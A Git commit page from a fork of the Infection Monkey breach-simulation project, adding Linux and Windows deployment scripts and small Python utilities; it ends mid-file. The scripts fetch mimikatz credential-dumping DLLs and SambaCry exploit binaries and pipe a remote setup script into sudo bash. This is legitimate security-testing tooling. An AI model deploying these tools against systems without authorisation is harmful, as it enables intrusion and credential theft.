forked from p15670423/monkey
Merge branch 'develop' into feature/mssql_exploiter
# Conflicts: # monkey/infection_monkey/requirements.txt # monkey/monkey_island/cc/services/config.py # monkey/monkey_island/cc/services/report.py # monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
This commit is contained in:
commit
2ac98ca5fc
|
@ -44,7 +44,8 @@ Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in t
|
||||||
|
|
||||||
Building the Monkey from source
|
Building the Monkey from source
|
||||||
-------------------------------
|
-------------------------------
|
||||||
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
|
||||||
|
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
||||||
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
# Files used to deploy development version of infection monkey
|
||||||
|
## Windows
|
||||||
|
|
||||||
|
Before running the script you must have git installed.<br>
|
||||||
|
Cd to scripts directory and use the scripts.<br>
|
||||||
|
First argument is an empty directory (script can create one) and second is branch you want to clone.
|
||||||
|
Example usages:<br>
|
||||||
|
./run_script.bat (Sets up monkey in current directory under .\infection_monkey)<br>
|
||||||
|
./run_script.bat "C:\test" (Sets up monkey in C:\test)<br>
|
||||||
|
powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)<br>
|
||||||
|
./run_script.bat "" "master"(Sets up master branch instead of develop in current dir)
|
||||||
|
Don't forget to add python to PATH or do so while installing it via this script.<br>
|
||||||
|
|
||||||
|
## Linux
|
||||||
|
|
||||||
|
You must have root permissions, but there is no need to run the script as root.<br>
|
||||||
|
Launch deploy_linux.sh from scripts directory.<br>
|
||||||
|
First argument is an empty directory (script can create one) and second is branch you want to clone.
|
||||||
|
Example usages:<br>
|
||||||
|
./deploy_linux.sh (deploys under ./infection_monkey)<br>
|
||||||
|
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
|
||||||
|
./deploy_linux.sh "" "master" (deploys master branch in script directory)<br>
|
||||||
|
./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)<br>
|
|
@ -0,0 +1,19 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
# Absolute monkey's path
|
||||||
|
MONKEY_FOLDER_NAME="infection_monkey"
|
||||||
|
# Url of public git repository that contains monkey's source code
|
||||||
|
MONKEY_GIT_URL="https://github.com/guardicore/monkey"
|
||||||
|
|
||||||
|
# Monkey binaries
|
||||||
|
LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
|
||||||
|
LINUX_32_BINARY_NAME="monkey-linux-32"
|
||||||
|
LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
|
||||||
|
LINUX_64_BINARY_NAME="monkey-linux-64"
|
||||||
|
WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
|
||||||
|
WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
||||||
|
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
|
||||||
|
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||||
|
|
||||||
|
# Mongo url's
|
||||||
|
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
|
||||||
|
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"
|
|
@ -0,0 +1,48 @@
|
||||||
|
# Absolute monkey's path
|
||||||
|
$MONKEY_FOLDER_NAME = "infection_monkey"
|
||||||
|
# Url of public git repository that contains monkey's source code
|
||||||
|
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
|
||||||
|
# Link to the latest python download or install it manually
|
||||||
|
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
|
||||||
|
|
||||||
|
# Monkey binaries
|
||||||
|
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
|
||||||
|
$LINUX_32_BINARY_PATH = "monkey-linux-32"
|
||||||
|
$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
|
||||||
|
$LINUX_64_BINARY_PATH = "monkey-linux-64"
|
||||||
|
$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
|
||||||
|
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
|
||||||
|
$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
|
||||||
|
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
|
||||||
|
$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so"
|
||||||
|
$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so"
|
||||||
|
$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so"
|
||||||
|
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
||||||
|
|
||||||
|
# Other directories and paths ( most likely you dont need to configure)
|
||||||
|
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
|
||||||
|
$MONKEY_DIR = "\monkey\infection_monkey"
|
||||||
|
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
|
||||||
|
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
|
||||||
|
$MK32_DLL = "mk32.dll"
|
||||||
|
$MK64_DLL = "mk64.dll"
|
||||||
|
$TEMP_PYTHON_INSTALLER = ".\python.msi"
|
||||||
|
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
|
||||||
|
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
|
||||||
|
$TEMP_CPP_INSTALLER = "cpp.exe"
|
||||||
|
$TEMP_NPM_INSTALLER = "node.msi"
|
||||||
|
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
|
||||||
|
$TEMP_UPX_ZIP = "upx.zip"
|
||||||
|
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
|
||||||
|
$UPX_FOLDER = "upx394w"
|
||||||
|
|
||||||
|
# Other url's
|
||||||
|
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
|
||||||
|
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
|
||||||
|
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
|
||||||
|
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
|
||||||
|
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
|
||||||
|
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
|
||||||
|
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
|
||||||
|
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
|
||||||
|
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"
|
|
@ -0,0 +1,157 @@
|
||||||
|
#!/bin/bash
|
||||||
|
source config
|
||||||
|
|
||||||
|
# Setup monkey either in dir required or current dir
|
||||||
|
monkey_home=${1:-`pwd`}
|
||||||
|
if [[ $monkey_home == `pwd` ]]; then
|
||||||
|
monkey_home="$monkey_home/$MONKEY_FOLDER_NAME"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# We can set main paths after we know the home dir
|
||||||
|
ISLAND_PATH="$monkey_home/monkey/monkey_island"
|
||||||
|
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
|
||||||
|
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
|
||||||
|
MONGO_BIN_PATH="$MONGO_PATH/bin"
|
||||||
|
ISLAND_DB_PATH="$ISLAND_PATH/db"
|
||||||
|
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
|
||||||
|
|
||||||
|
handle_error () {
|
||||||
|
echo "Fix the errors above and rerun the script"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
log_message () {
|
||||||
|
echo -e "\n\n-------------------------------------------"
|
||||||
|
echo -e "DEPLOYMENT SCRIPT: $1"
|
||||||
|
echo -e "-------------------------------------------\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
sudo -v
|
||||||
|
if [[ $? != 0 ]]; then
|
||||||
|
echo "You need root permissions for some of this script operations. Quiting."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -d ${monkey_home} ]]; then
|
||||||
|
mkdir -p ${monkey_home}
|
||||||
|
fi
|
||||||
|
|
||||||
|
git --version &>/dev/null
|
||||||
|
git_available=$?
|
||||||
|
if [[ ${git_available} != 0 ]]; then
|
||||||
|
echo "Please install git and re-run this script"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
log_message "Cloning files from git"
|
||||||
|
branch=${2:-"develop"}
|
||||||
|
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
|
||||||
|
git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error
|
||||||
|
chmod 774 -R ${monkey_home}
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create folders
|
||||||
|
log_message "Creating island dirs under $ISLAND_PATH"
|
||||||
|
mkdir -p ${MONGO_BIN_PATH}
|
||||||
|
mkdir -p ${ISLAND_DB_PATH}
|
||||||
|
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
|
||||||
|
|
||||||
|
python_version=`python --version 2>&1`
|
||||||
|
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
|
||||||
|
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
log_message "Updating package list"
|
||||||
|
sudo apt-get update
|
||||||
|
|
||||||
|
log_message "Installing pip"
|
||||||
|
sudo apt-get install python-pip
|
||||||
|
|
||||||
|
log_message "Installing island requirements"
|
||||||
|
requirements="$ISLAND_PATH/requirements.txt"
|
||||||
|
python -m pip install --user -r ${requirements} || handle_error
|
||||||
|
|
||||||
|
# Download binaries
|
||||||
|
log_message "Downloading binaries"
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
||||||
|
# Allow them to be executed
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
|
||||||
|
|
||||||
|
# Get machine type/kernel version
|
||||||
|
kernel=`uname -m`
|
||||||
|
linux_dist=`lsb_release -a 2> /dev/null`
|
||||||
|
|
||||||
|
# If a user haven't installed mongo manually check if we can install it with our script
|
||||||
|
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
|
||||||
|
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
|
||||||
|
echo "Script does not support your operating system for mongodb installation.
|
||||||
|
Reference monkey island readme and install it manually"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Download mongo
|
||||||
|
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
|
||||||
|
log_message "Downloading mongodb"
|
||||||
|
if [[ ${linux_dist} == *"Debian"* ]]; then
|
||||||
|
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
|
||||||
|
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
|
||||||
|
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
|
||||||
|
fi
|
||||||
|
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
|
||||||
|
else
|
||||||
|
log_message "Mongo db already installed"
|
||||||
|
fi
|
||||||
|
|
||||||
|
log_message "Installing openssl"
|
||||||
|
sudo apt-get install openssl
|
||||||
|
|
||||||
|
# Generate SSL certificate
|
||||||
|
log_message "Generating certificate"
|
||||||
|
cd ${ISLAND_PATH} || handle_error
|
||||||
|
openssl genrsa -out cc/server.key 1024 || handle_error
|
||||||
|
openssl req -new -key cc/server.key -out cc/server.csr \
|
||||||
|
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
|
||||||
|
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
|
||||||
|
|
||||||
|
|
||||||
|
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||||
|
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||||
|
|
||||||
|
# Install npm
|
||||||
|
log_message "Installing npm"
|
||||||
|
sudo apt-get install npm
|
||||||
|
|
||||||
|
# Update node
|
||||||
|
log_message "Updating node"
|
||||||
|
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
|
||||||
|
sudo apt-get install -y nodejs
|
||||||
|
|
||||||
|
log_message "Generating front end"
|
||||||
|
cd "$ISLAND_PATH/cc/ui" || handle_error
|
||||||
|
npm update
|
||||||
|
npm run dist
|
||||||
|
|
||||||
|
# Monkey setup
|
||||||
|
log_message "Installing monkey requirements"
|
||||||
|
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
||||||
|
cd ${monkey_home}/monkey/infection_monkey || handle_error
|
||||||
|
python -m pip install --user -r requirements.txt || handle_error
|
||||||
|
|
||||||
|
# Build samba
|
||||||
|
log_message "Building samba binaries"
|
||||||
|
sudo apt-get install gcc-multilib
|
||||||
|
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||||
|
chmod +x ./build.sh || handle_error
|
||||||
|
./build.sh
|
||||||
|
|
||||||
|
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
|
||||||
|
|
||||||
|
log_message "Deployment script finished."
|
||||||
|
exit 0
|
|
@ -0,0 +1,215 @@
|
||||||
|
function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){
|
||||||
|
# Import the config variables
|
||||||
|
. ./config.ps1
|
||||||
|
"Config variables from config.ps1 imported"
|
||||||
|
|
||||||
|
# If we want monkey in current dir we need to create an empty folder for source files
|
||||||
|
if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){
|
||||||
|
$monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME
|
||||||
|
}
|
||||||
|
|
||||||
|
# Set variables for script execution
|
||||||
|
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
||||||
|
$webClient = New-Object System.Net.WebClient
|
||||||
|
|
||||||
|
# We check if git is installed
|
||||||
|
try
|
||||||
|
{
|
||||||
|
git | Out-Null -ErrorAction Stop
|
||||||
|
"Git requirement satisfied"
|
||||||
|
}
|
||||||
|
catch [System.Management.Automation.CommandNotFoundException]
|
||||||
|
{
|
||||||
|
"Please install git before running this script or add it to path and restart cmd"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download the monkey
|
||||||
|
$output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
|
||||||
|
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")
|
||||||
|
if ( $output -like "*already exists and is not an empty directory.*"){
|
||||||
|
"Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory."
|
||||||
|
} elseif ($output -like "fatal:*"){
|
||||||
|
"Error while cloning monkey from the repository:"
|
||||||
|
$output
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
"Monkey cloned from the repository"
|
||||||
|
# Create bin directory
|
||||||
|
New-Item -ItemType directory -path $binDir
|
||||||
|
"Bin directory added"
|
||||||
|
}
|
||||||
|
|
||||||
|
# We check if python is installed
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$version = cmd.exe /c '"python" --version 2>&1'
|
||||||
|
if ( $version -like 'Python 2.7.*' ) {
|
||||||
|
"Python 2.7.* was found, installing dependancies"
|
||||||
|
} else {
|
||||||
|
throw System.Management.Automation.CommandNotFoundException
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch [System.Management.Automation.CommandNotFoundException]
|
||||||
|
{
|
||||||
|
"Downloading python 2.7 ..."
|
||||||
|
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
|
||||||
|
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||||
|
Remove-Item $TEMP_PYTHON_INSTALLER
|
||||||
|
# Check if installed correctly
|
||||||
|
$version = cmd.exe /c '"python" --version 2>&1'
|
||||||
|
if ( $version -like '* is not recognized*' ) {
|
||||||
|
"Python is not found in PATH. Add it manually or reinstall python."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Set python home dir
|
||||||
|
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
|
||||||
|
|
||||||
|
# Get vcforpython27 before installing requirements
|
||||||
|
"Downloading Visual C++ Compiler for Python 2.7 ..."
|
||||||
|
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
|
||||||
|
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||||
|
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
|
||||||
|
|
||||||
|
# Install requirements for island
|
||||||
|
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
|
||||||
|
"Upgrading pip..."
|
||||||
|
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
|
||||||
|
$output
|
||||||
|
if ( $output -like '*No module named pip*' ) {
|
||||||
|
"Make sure pip module is installed and re-run this script."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
& python -m pip install --user -r $islandRequirements
|
||||||
|
# Install requirements for monkey
|
||||||
|
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
|
||||||
|
& python -m pip install --user -r $monkeyRequirements
|
||||||
|
|
||||||
|
# Download mongodb
|
||||||
|
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
|
||||||
|
"Downloading mongodb ..."
|
||||||
|
$webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP)
|
||||||
|
"Unzipping mongodb"
|
||||||
|
Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir
|
||||||
|
# Get unzipped folder's name
|
||||||
|
$mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name
|
||||||
|
# Move all files from extracted folder to mongodb folder
|
||||||
|
New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb")
|
||||||
|
New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db")
|
||||||
|
"Moving extracted files"
|
||||||
|
Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\")
|
||||||
|
"Removing zip file"
|
||||||
|
Remove-Item $TEMP_MONGODB_ZIP
|
||||||
|
Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download OpenSSL
|
||||||
|
"Downloading OpenSSL ..."
|
||||||
|
$webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP)
|
||||||
|
"Unzipping OpenSSl"
|
||||||
|
Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue
|
||||||
|
"Removing zip file"
|
||||||
|
Remove-Item $TEMP_OPEN_SSL_ZIP
|
||||||
|
|
||||||
|
# Download and install C++ redistributable
|
||||||
|
"Downloading C++ redistributable ..."
|
||||||
|
$webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
|
||||||
|
Remove-Item $TEMP_CPP_INSTALLER
|
||||||
|
|
||||||
|
# Generate ssl certificate
|
||||||
|
"Generating ssl certificate"
|
||||||
|
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
|
||||||
|
. .\windows\create_certificate.bat
|
||||||
|
Pop-Location
|
||||||
|
|
||||||
|
# Adding binaries
|
||||||
|
"Adding binaries"
|
||||||
|
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
|
||||||
|
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||||
|
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
|
||||||
|
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
|
||||||
|
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
|
||||||
|
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
|
||||||
|
|
||||||
|
# Check if NPM installed
|
||||||
|
"Installing npm"
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$version = cmd.exe /c '"npm" --version 2>&1'
|
||||||
|
if ( $version -like "*is not recognized*"){
|
||||||
|
throw System.Management.Automation.CommandNotFoundException
|
||||||
|
} else {
|
||||||
|
"Npm already installed"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch [System.Management.Automation.CommandNotFoundException]
|
||||||
|
{
|
||||||
|
"Downloading npm ..."
|
||||||
|
$webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_NPM_INSTALLER
|
||||||
|
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||||
|
Remove-Item $TEMP_NPM_INSTALLER
|
||||||
|
}
|
||||||
|
|
||||||
|
"Updating npm"
|
||||||
|
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui")
|
||||||
|
& npm update
|
||||||
|
& npm run dist
|
||||||
|
Pop-Location
|
||||||
|
|
||||||
|
# Install pywin32
|
||||||
|
"Downloading pywin32"
|
||||||
|
$webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop
|
||||||
|
Remove-Item $TEMP_PYWIN32_INSTALLER
|
||||||
|
|
||||||
|
# Create infection_monkey/bin directory if not already present
|
||||||
|
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
|
||||||
|
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Download upx
|
||||||
|
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
|
||||||
|
"Downloading upx ..."
|
||||||
|
$webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
|
||||||
|
"Unzipping upx"
|
||||||
|
Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
|
||||||
|
Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
|
||||||
|
# Remove unnecessary files
|
||||||
|
Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
|
||||||
|
"Removing zip file"
|
||||||
|
Remove-Item $TEMP_UPX_ZIP
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download mimikatz binaries
|
||||||
|
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
|
||||||
|
if(!(Test-Path -Path $mk32_path )){
|
||||||
|
"Downloading mimikatz 32 binary"
|
||||||
|
$webClient.DownloadFile($MK32_DLL_URL, $mk32_path)
|
||||||
|
}
|
||||||
|
$mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL
|
||||||
|
if(!(Test-Path -Path $mk64_path )){
|
||||||
|
"Downloading mimikatz 64 binary"
|
||||||
|
$webClient.DownloadFile($MK64_DLL_URL, $mk64_path)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download sambacry binaries
|
||||||
|
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
|
||||||
|
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
|
||||||
|
if(!(Test-Path -Path $samba32_path )){
|
||||||
|
"Downloading sambacry 32 binary"
|
||||||
|
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
|
||||||
|
}
|
||||||
|
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
|
||||||
|
if(!(Test-Path -Path $samba64_path )){
|
||||||
|
"Downloading sambacry 64 binary"
|
||||||
|
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
|
||||||
|
}
|
||||||
|
|
||||||
|
"Script finished"
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
SET command=. .\deploy_windows.ps1; Deploy-Windows
|
||||||
|
if NOT "%~1" == "" (
|
||||||
|
SET "command=%command% -monkey_home %~1"
|
||||||
|
)
|
||||||
|
if NOT "%~2" == "" (
|
||||||
|
SET "command=%command% -branch %~2"
|
||||||
|
)
|
||||||
|
powershell -ExecutionPolicy ByPass -Command %command%
|
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -0,0 +1,17 @@
|
||||||
|
import urllib2
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
class AWS(object):
|
||||||
|
def __init__(self):
|
||||||
|
try:
|
||||||
|
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
|
||||||
|
except urllib2.URLError:
|
||||||
|
self.instance_id = None
|
||||||
|
|
||||||
|
def get_instance_id(self):
|
||||||
|
return self.instance_id
|
||||||
|
|
||||||
|
def is_aws_instance(self):
|
||||||
|
return self.instance_id is not None
|
|
@ -0,0 +1,83 @@
|
||||||
|
import wmi
|
||||||
|
import win32com
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
class MongoUtils:
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
# Static class
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def fix_obj_for_mongo(o):
|
||||||
|
if type(o) == dict:
|
||||||
|
return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()])
|
||||||
|
|
||||||
|
elif type(o) in (list, tuple):
|
||||||
|
return [MongoUtils.fix_obj_for_mongo(i) for i in o]
|
||||||
|
|
||||||
|
elif type(o) in (int, float, bool):
|
||||||
|
return o
|
||||||
|
|
||||||
|
elif type(o) in (str, unicode):
|
||||||
|
# mongo dosn't like unprintable chars, so we use repr :/
|
||||||
|
return repr(o)
|
||||||
|
|
||||||
|
elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object:
|
||||||
|
return MongoUtils.fix_wmi_obj_for_mongo(o)
|
||||||
|
|
||||||
|
elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch:
|
||||||
|
try:
|
||||||
|
